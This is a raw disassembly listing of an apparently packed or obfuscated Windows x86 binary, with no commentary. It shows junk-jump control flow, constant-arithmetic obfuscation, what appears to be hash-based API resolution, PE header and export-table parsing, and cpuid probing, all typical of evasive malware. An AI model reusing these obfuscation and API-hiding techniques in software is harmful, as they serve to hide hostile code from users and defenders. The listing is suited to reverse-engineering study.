loc_42EBA3:				; CODE XREF: sub_42708B+5j
		jmp	loc_42F319
; END OF FUNCTION CHUNK	FOR sub_42708B
; ---------------------------------------------------------------------------
		sbb	edx, 8A1573F3h
		jmp	loc_42BE64
; ---------------------------------------------------------------------------
		sbb	edi, 5B5F6422h
		and	esi, ecx
		jmp	sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B8C


loc_42EBC0:				; CODE XREF: sub_425B8C+6j
		push	offset loc_4297AA
		jmp	loc_42D9C9
; END OF FUNCTION CHUNK	FOR sub_425B8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42EBCA:				; CODE XREF: sub_42AA68:loc_42AA72j
		push	55AA31D2h
		pop	eax
		add	eax, 0B822363Dh
		add	eax, ebp
		add	eax, 0F23397D1h
		push	eax
		call	sub_42596F
		jmp	loc_428620
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------

locret_42EBE9:				; CODE XREF: wto1jq8f:loc_42E6E0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F31


loc_42EBEA:				; CODE XREF: sub_424F31+9DC0j
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_424F31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A84


loc_42EBEF:				; CODE XREF: sub_426A84+Ej
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_426A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42EBF4:				; CODE XREF: sub_42F2C7-8A9Aj
					; sub_42D4FD:loc_430000j
		call	sub_42ED32
		mov	edx, 87C4571Ah
		call	sub_429165


loc_42EC03:				; CODE XREF: wto1jq8f:00426865j
		push	eax


loc_42EC04:				; CODE XREF: wto1jq8f:loc_429E18j
		jmp	loc_42B159
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: wto1jq8f:00424252j
		sub	ecx, 86E19E30h
		jns	loc_42EF35


loc_42EC15:				; CODE XREF: wto1jq8f:loc_424241j
		xor	esi, 0A7457338h
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42EC1B:				; CODE XREF: sub_428AC6:loc_42A77Aj
		add	esi, ebp
		push	edx
		jmp	loc_42E239
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_42EC23:				; CODE XREF: sub_42AAC3-20DBj
		jle	loc_427ACC
		jno	loc_427D63


loc_42EC2F:				; CODE XREF: sub_42AAC3:loc_42AC4Aj
		call	sub_427C92
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; START	OF FUNCTION CHUNK FOR sub_427D82


loc_42EC34:				; CODE XREF: sub_427D82-23B8j
		jmp	loc_426F76
; END OF FUNCTION CHUNK	FOR sub_427D82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42EC39:				; CODE XREF: sub_426E98:loc_429768j
					; sub_426E98+7133j
		push	0BB509726h
		mov	[esp+28h+var_28], ecx
		push	4E462590h
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_4289F4
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EADC


loc_42EC51:				; CODE XREF: sub_42EADC:loc_4281A1j
		mov	[esp+4+var_4], ebp
		push	offset sub_42A6E3
		jmp	loc_4268B6
; END OF FUNCTION CHUNK	FOR sub_42EADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42EC5E:				; CODE XREF: sub_4293FF+28D6j
		js	loc_428A3A
		ror	ebp, 17h
		xchg	edi, ebx
		jmp	loc_4285DA
; END OF FUNCTION CHUNK	FOR sub_4293FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CA12


loc_42EC6F:				; CODE XREF: sub_42CA12+7j
		jmp	loc_4249B2
; END OF FUNCTION CHUNK	FOR sub_42CA12
; ---------------------------------------------------------------------------


loc_42EC74:				; CODE XREF: wto1jq8f:00427FB1j
		jmp	loc_42C83D
; ---------------------------------------------------------------------------


loc_42EC79:				; CODE XREF: wto1jq8f:0042DD58j
		ror	eax, 6
		push	eax
		retn
; ---------------------------------------------------------------------------
		add	esi, ebx
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_42EC85:				; DATA XREF: wto1jq8f:0042EF93o
		push	edx
		xchg	ebx, edx
		push	0AEF5C860h
		pop	ebx
		jmp	loc_42944F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	edx
		shr	edx, 12h
		jmp	sub_42C43B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260A9


loc_42EC9D:				; CODE XREF: sub_4260A9:loc_429C79j
		cmp	eax, [ebp-8]
		jnz	loc_42CA26
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		jmp	loc_428688
; END OF FUNCTION CHUNK	FOR sub_4260A9
; ---------------------------------------------------------------------------


loc_42ECB4:				; CODE XREF: wto1jq8f:0042855Fj
		jz	loc_428472
		call	sub_42B866
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_42ECC0:				; CODE XREF: sub_42C4E2+8A9j
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_42C4E2
; ---------------------------------------------------------------------------


loc_42ECC5:				; CODE XREF: wto1jq8f:loc_428552j
		call	sub_42CB36
		test	al, al
		jz	loc_428472
		jmp	loc_42B860
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F31


loc_42ECD7:				; CODE XREF: sub_424F31+15j
		push	0C621FE39h
		pop	ebx
		add	ebx, 641A5C62h
		rol	ebx, 1Fh
		add	ebx, 6B2474F2h
		push	offset sub_42A237
		jmp	loc_42EBEA
; END OF FUNCTION CHUNK	FOR sub_424F31
; ---------------------------------------------------------------------------


loc_42ECF6:				; CODE XREF: wto1jq8f:0042AEC4j
		mov	ebx, 0B4C135EDh


loc_42ECFB:				; CODE XREF: wto1jq8f:loc_42A26Ej
		call	sub_42ED01
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42ED01	proc near		; CODE XREF: sub_42FBC7:loc_427C0Cp
					; wto1jq8f:loc_42ECFBp

; FUNCTION CHUNK AT 00424F9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004267D3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004274AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FE8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A018 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B7F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D0C7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DFF7 SIZE 00000005 BYTES

		js	loc_42A018
		mov	eax, offset dword_42CAF8
		call	sub_42F185
		test	al, al
		jmp	loc_424F9D
sub_42ED01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DA7


loc_42ED18:				; CODE XREF: sub_427DA7+7D77j
		mov	eax, offset sub_42ED21
		xchg	eax, [esp-8+arg_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_427DA7

; =============== S U B	R O U T	I N E =======================================



sub_42ED21	proc near		; DATA XREF: sub_427DA7:loc_42ED18o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425981 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427057 SIZE 0000000A BYTES

		pop	ecx
		jmp	loc_425981
sub_42ED21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42ED27:				; CODE XREF: sub_426968:loc_427383j
					; sub_426968+E41j
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_42AB0E
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42ED32	proc near		; CODE XREF: wto1jq8f:loc_42664Bp
					; sub_4262CE+921p ...

; FUNCTION CHUNK AT 004274D6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004287A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D7C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F44D SIZE 0000000B BYTES

		call	sub_42A8ED


loc_42ED37:				; CODE XREF: wto1jq8f:0042782Ej
		jmp	loc_42F44D
sub_42ED32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42ED3C:				; CODE XREF: sub_429B76-3EF1j
		jnz	loc_427246
		jmp	loc_429F75
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D4


loc_42ED47:				; CODE XREF: sub_4246D4:loc_42CDF4j
		pop	ecx
		pop	ebx
		xchg	ebx, [esp-10h+arg_C]
		mov	eax, ebx
		pop	ebx
		jmp	loc_428D5C
; END OF FUNCTION CHUNK	FOR sub_4246D4

; =============== S U B	R O U T	I N E =======================================



sub_42ED54	proc near		; DATA XREF: wto1jq8f:0042AF9Bo
		mov	edx, 7DA6ACC0h
		call	sub_429165
		call	sub_42969B


loc_42ED63:				; DATA XREF: wto1jq8f:0042C454o
		call	sub_424585
		mov	edx, 1F56AC7Bh
		call	sub_429165


loc_42ED72:				; CODE XREF: wto1jq8f:loc_42CA0Cj
		call	sub_42CF00


loc_42ED77:				; CODE XREF: wto1jq8f:0042B34Ej
		jmp	loc_42F839
sub_42ED54	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429835


loc_42ED7C:				; CODE XREF: sub_429835+9j
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_429835
; ---------------------------------------------------------------------------


loc_42ED81:				; CODE XREF: wto1jq8f:loc_427456j
		jnz	loc_42EE9A
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		jmp	loc_424EB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42ED98:				; CODE XREF: sub_42A909+2948j
		jnz	loc_428EBC
		jmp	loc_427F74
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42EDA3:				; CODE XREF: sub_426D4F:loc_429550j
		jz	loc_42BC61
		jmp	loc_42B970
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42EDAE:				; CODE XREF: sub_426968+6F02j
		push	offset loc_428A4E
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42EDB8	proc near		; CODE XREF: sub_428501:loc_42F2C2j
		retn
sub_42EDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42EDB9	proc near		; CODE XREF: wto1jq8f:0042417Ej
					; sub_42D849+2p

; FUNCTION CHUNK AT 00425E50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282D6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428A0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428EAF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004293D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A373 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042B196 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F355 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FA56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FC34 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	edx, edx
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	eax
		jmp	loc_4293D9
sub_42EDB9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42826A


loc_42EDCB:				; CODE XREF: sub_42826A+10j
		mov	dword ptr [eax], 594C4C4Fh
		push	30384E93h
		pop	eax
		call	sub_426086
; END OF FUNCTION CHUNK	FOR sub_42826A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42EDDD:				; DATA XREF: sub_42C75F+6o
		push	0B405D0E1h
		pop	eax
		add	eax, 4C3D1FC7h
		jmp	loc_42D116
; ---------------------------------------------------------------------------


loc_42EDEE:				; DATA XREF: sub_427D8D-227Do
		xchg	ebx, [esp]
		jmp	loc_42749F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426FD6


loc_42EDF6:				; CODE XREF: sub_426FD6-10A1j
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_42FF5D
; END OF FUNCTION CHUNK	FOR sub_426FD6
; ---------------------------------------------------------------------------
		mov	edx, 63180CAFh
		call	sub_429165
		push	eax
		push	214FCA81h
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42EE1C:				; CODE XREF: sub_427143:loc_429B95j
		and	eax, 23DB688Dh
		xor	eax, 0C150F732h
		jmp	loc_42CA74
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------


loc_42EE2D:				; CODE XREF: wto1jq8f:00425DBCj
		jnz	loc_4297F2
		jmp	loc_42D007
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_42EE38:				; CODE XREF: sub_424406:loc_425A0Fj
		jz	loc_42D1C3
		jmp	loc_426518
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42EE43:				; CODE XREF: sub_426535:loc_42ACA7j
		jno	loc_428328
		test	ecx, 2A32845Fh
		jmp	loc_42432A
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EE54	proc near		; CODE XREF: wto1jq8f:0042DCD5p

var_4		= dword	ptr -4

		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		mov	ebp, esp
		push	17E7A0FFh
		mov	[esp+4+var_4], edx
		xchg	edx, ecx
		mov	ecx, edx
		jmp	loc_42D94E
sub_42EE54	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42EE6E:				; CODE XREF: wto1jq8f:0042626Cj
		jmp	loc_4267C4
; ---------------------------------------------------------------------------

locret_42EE73:				; CODE XREF: wto1jq8f:loc_427A6Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42EE74:				; CODE XREF: sub_42B8FC+8j
		jmp	loc_42D0FF
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42EE7A:				; CODE XREF: sub_42E0FD-6D32j
		jmp	loc_42BDE4
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42EE7F:				; CODE XREF: sub_429BFF-2FBDj
		jmp	loc_42B334
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------


loc_42EE84:				; DATA XREF: sub_42C4CF+10B0o
		call	edx
		push	offset sub_42AE5E
		jmp	locret_426AEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426806


loc_42EE90:				; CODE XREF: sub_426806-1943j
		mov	eax, ds:dword_425510[eax*4]
		mov	[ebp-8], eax


loc_42EE9A:				; CODE XREF: wto1jq8f:0042CC2Ej
					; wto1jq8f:loc_42ED81j
		jz	loc_427997
		test	byte ptr [ebp-8], 2
		call	sub_42F072
; END OF FUNCTION CHUNK	FOR sub_426806
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42EEA9:				; CODE XREF: sub_42E0FD+13j
					; wto1jq8f:0042E4CAj
		jmp	loc_428A67
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------


loc_42EEAE:				; CODE XREF: wto1jq8f:0042768Ej
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_42EEB0	proc near		; CODE XREF: sub_42B8FC:loc_42A92Cp
		xchg	edi, [esp+0]
		pop	edi
		ror	eax, 0Fh
		push	eax
		call	sub_42D765


loc_42EEBD:				; CODE XREF: wto1jq8f:loc_42F7A7j
		jmp	nullsub_158
sub_42EEB0	endp

; ---------------------------------------------------------------------------
		push	offset sub_42E7B6
		jmp	loc_42D55F

; =============== S U B	R O U T	I N E =======================================



sub_42EECC	proc near		; CODE XREF: sub_427143:loc_4292F9p
					; wto1jq8f:0042C14Bj

; FUNCTION CHUNK AT 00428165 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		mov	eax, [eax]
		push	offset loc_426B79
		jmp	loc_428165
sub_42EECC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A30


loc_42EEDF:				; CODE XREF: sub_427A30+3528j
		xchg	eax, [esp+8+var_8]
		jmp	loc_427412
; END OF FUNCTION CHUNK	FOR sub_427A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42EEE7:				; CODE XREF: sub_425E35:loc_42AEFAj
		call	sub_425DF0
		call	sub_428B05
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_42E0A8
; END OF FUNCTION CHUNK	FOR sub_425E35
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42EF03:				; CODE XREF: sub_426E98:loc_427C26j
					; sub_426E98+4BCBj
		jo	loc_427C3D
		jmp	loc_426F01
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42EF0E:				; CODE XREF: sub_4283CC:loc_427906j
		jz	loc_42A77A
		jmp	loc_42CA43
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E541


loc_42EF19:				; CODE XREF: sub_42E541-3FACj
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		jmp	loc_428C4F
; END OF FUNCTION CHUNK	FOR sub_42E541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FE77


loc_42EF2E:				; CODE XREF: wto1jq8f:00426652j
					; wto1jq8f:00426DBAj ...
		push	edx
		push	0C28DF081h
		pop	edx


loc_42EF35:				; CODE XREF: wto1jq8f:0042EC0Fj
		xor	edx, 0E86032h
		add	edx, ebp
		jmp	loc_427A2B
; END OF FUNCTION CHUNK	FOR sub_42FE77
; ---------------------------------------------------------------------------


loc_42EF42:				; CODE XREF: wto1jq8f:loc_42FAAEj
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		jmp	loc_428EA7
; ---------------------------------------------------------------------------


loc_42EF53:				; DATA XREF: sub_429165+49C8o
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_42659E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDE6


loc_42EF69:				; CODE XREF: sub_42DDE6:loc_42D52Cj
		jz	loc_42B535
; END OF FUNCTION CHUNK	FOR sub_42DDE6
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42EF6F:				; CODE XREF: sub_429BFF+3A4Bj
		jmp	loc_42D72F
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C92


loc_42EF74:				; CODE XREF: sub_427C92+12j
		jmp	sub_427A8D
; END OF FUNCTION CHUNK	FOR sub_427C92
; ---------------------------------------------------------------------------
		sub	eax, ecx
		test	ecx, 3E2B6367h
		jmp	loc_42B52F
; ---------------------------------------------------------------------------


loc_42EF86:				; CODE XREF: wto1jq8f:00428585j
		pushf
		jmp	loc_429987
; ---------------------------------------------------------------------------
		mov	edx, 8CB242DAh
		xchg	ebx, edx
		push	offset loc_42EC85
		jmp	locret_42CAD2
; ---------------------------------------------------------------------------


loc_42EF9D:				; CODE XREF: wto1jq8f:loc_42DBF3j
					; DATA XREF: sub_42BE69:loc_42DBE9o
		call	sub_424585
		mov	edx, 7DA6ACC0h
		call	sub_429165
		push	eax
		rol	eax, 16h
		jmp	loc_4296A4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EFB5	proc near		; CODE XREF: sub_4281DDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425D85 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004265A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427DF3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428A4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004297A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B1AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B83B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BD22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C387 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042D692 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D93C SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42B1AA
sub_42EFB5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42EFBE:				; CODE XREF: sub_42A197:loc_4288CDj
					; sub_4266B1:loc_428F32j ...
		push	0
		call	sub_42658A


loc_42EFC5:				; CODE XREF: sub_42D368+9j
		jmp	loc_42C7A4
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C1EE


loc_42EFCA:				; CODE XREF: sub_42C1EE+18j
		jmp	loc_42785E
; END OF FUNCTION CHUNK	FOR sub_42C1EE
; ---------------------------------------------------------------------------
		or	eax, esi
		jmp	sub_4282EB
; ---------------------------------------------------------------------------


loc_42EFD6:				; DATA XREF: sub_42BF49+6o
		popf
		xchg	esi, [esp]
		jmp	loc_42AD12
; ---------------------------------------------------------------------------


loc_42EFDF:				; CODE XREF: wto1jq8f:004284DCj
		and	ecx, esi
		cmp	esi, ebp
		jmp	loc_4288AD
; ---------------------------------------------------------------------------


loc_42EFE8:				; DATA XREF: sub_425EA8:loc_4296F6o
		rol	eax, 18h
		jmp	loc_4247B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FB2F


loc_42EFF0:				; CODE XREF: sub_42FB2Fj
		call	sub_42BB12
; END OF FUNCTION CHUNK	FOR sub_42FB2F
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42EFF5:				; CODE XREF: sub_42D434:loc_42724Cj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AE5E


loc_42EFF7:				; CODE XREF: sub_42AE5E+Ej
		jmp	loc_42D2DD
; END OF FUNCTION CHUNK	FOR sub_42AE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42EFFC:				; CODE XREF: sub_428A19-4469j
		jmp	loc_42A0BD
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428BA9


loc_42F001:				; CODE XREF: sub_42D434-6DB4j
					; sub_428BA9+Aj
		mov	eax, [ebp-4]
		mov	al, [eax]
		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		jmp	loc_42BF2B
; END OF FUNCTION CHUNK	FOR sub_428BA9
; ---------------------------------------------------------------------------


loc_42F011:				; DATA XREF: sub_42825A+6o
		push	10h
		mov	eax, [ebp-8]
		push	eax
		xchg	esi, eax
		push	eax
		jmp	loc_42AC62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB2A


loc_42F01F:				; CODE XREF: sub_42BB2A+4j
		cmp	ds:dword_42FB50, 0
		jz	loc_42B4B4
		mov	eax, ds:dword_42FB50
		mov	eax, [eax]
		mov	ds:dword_42FB5C, eax
		jmp	loc_42B4AD
; END OF FUNCTION CHUNK	FOR sub_42BB2A

; =============== S U B	R O U T	I N E =======================================



sub_42F03D	proc near		; DATA XREF: sub_42E3B6o
		push	ebp
		call	sub_42CE80


loc_42F043:				; CODE XREF: sub_42506F+72F0j
		jmp	sub_42ACD6
sub_42F03D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42F048:				; CODE XREF: sub_42F614-95B1j
		jmp	loc_42E74F
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42F04D:				; CODE XREF: sub_426C0C:loc_42FC63j
		ja	locret_42A4B7
		jmp	loc_42D70C
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42F058:				; CODE XREF: sub_429B76+1Aj
		pop	edi
		add	edi, 4926EE34h
		xchg	edi, [esp+14h+var_14]
		jmp	sub_42AECE
; END OF FUNCTION CHUNK	FOR sub_429B76

; =============== S U B	R O U T	I N E =======================================



sub_42F067	proc near		; DATA XREF: sub_42CE8E+15o
		call	sub_428C71
		pop	eax
		call	loc_424DAB
sub_42F067	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42F072	proc near		; CODE XREF: sub_426806+869Ep
					; sub_42C486+33BEj

; FUNCTION CHUNK AT 004267E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427986 SIZE 00000003 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jz	loc_4250E0
		push	ebp
		jmp	loc_4267E1
sub_42F072	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 4AB0h
dword_42F084	dd 0							; sub_42C6F9+7r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42F088:				; CODE XREF: sub_428AC6+353Dj
		jmp	loc_42A2D1
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------


loc_42F08D:				; CODE XREF: wto1jq8f:0042B3DDj
		jmp	loc_42E273
; ---------------------------------------------------------------------------
		dw 3BBDh
dword_42F094	dd 0							; sub_427A8D+825Cr
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42F09C:				; CODE XREF: sub_42D9D9-5912j
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
		db 0E4h, 34h, 5Dh
dword_42F0A4	dd 0				dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42F0AC:				; CODE XREF: sub_42F25F-4160j
		jmp	loc_428525
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
		db 29h,	2Eh, 60h
dword_42F0B4	dd 0							; wto1jq8f:0042C6EDw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429A99


loc_42F0B8:				; CODE XREF: sub_429A99+18j
		jmp	nullsub_220
; END OF FUNCTION CHUNK	FOR sub_429A99
; ---------------------------------------------------------------------------
		db 34h,	62h, 9Bh
dword_42F0C0	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42F0C4:				; CODE XREF: sub_426C0C:loc_42644Cj
		jz	loc_4265DB
		jmp	loc_42E620
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------


loc_42F0CF:				; DATA XREF: sub_42704E+8E3o
		mov	edx, 1AE260E8h
		call	sub_429165
		push	eax
		rol	eax, 0Eh
		mov	ds:dword_42ACE4, eax
		jmp	loc_4278F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42F0E8:				; CODE XREF: sub_42C486-1F1j
		shl	edi, 8


loc_42F0EB:				; CODE XREF: sub_42C486:loc_42C285j
		rol	esi, 1Ah
		add	esi, 0CF4EB51h
		push	offset sub_42B8E3
		jmp	loc_42A638
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
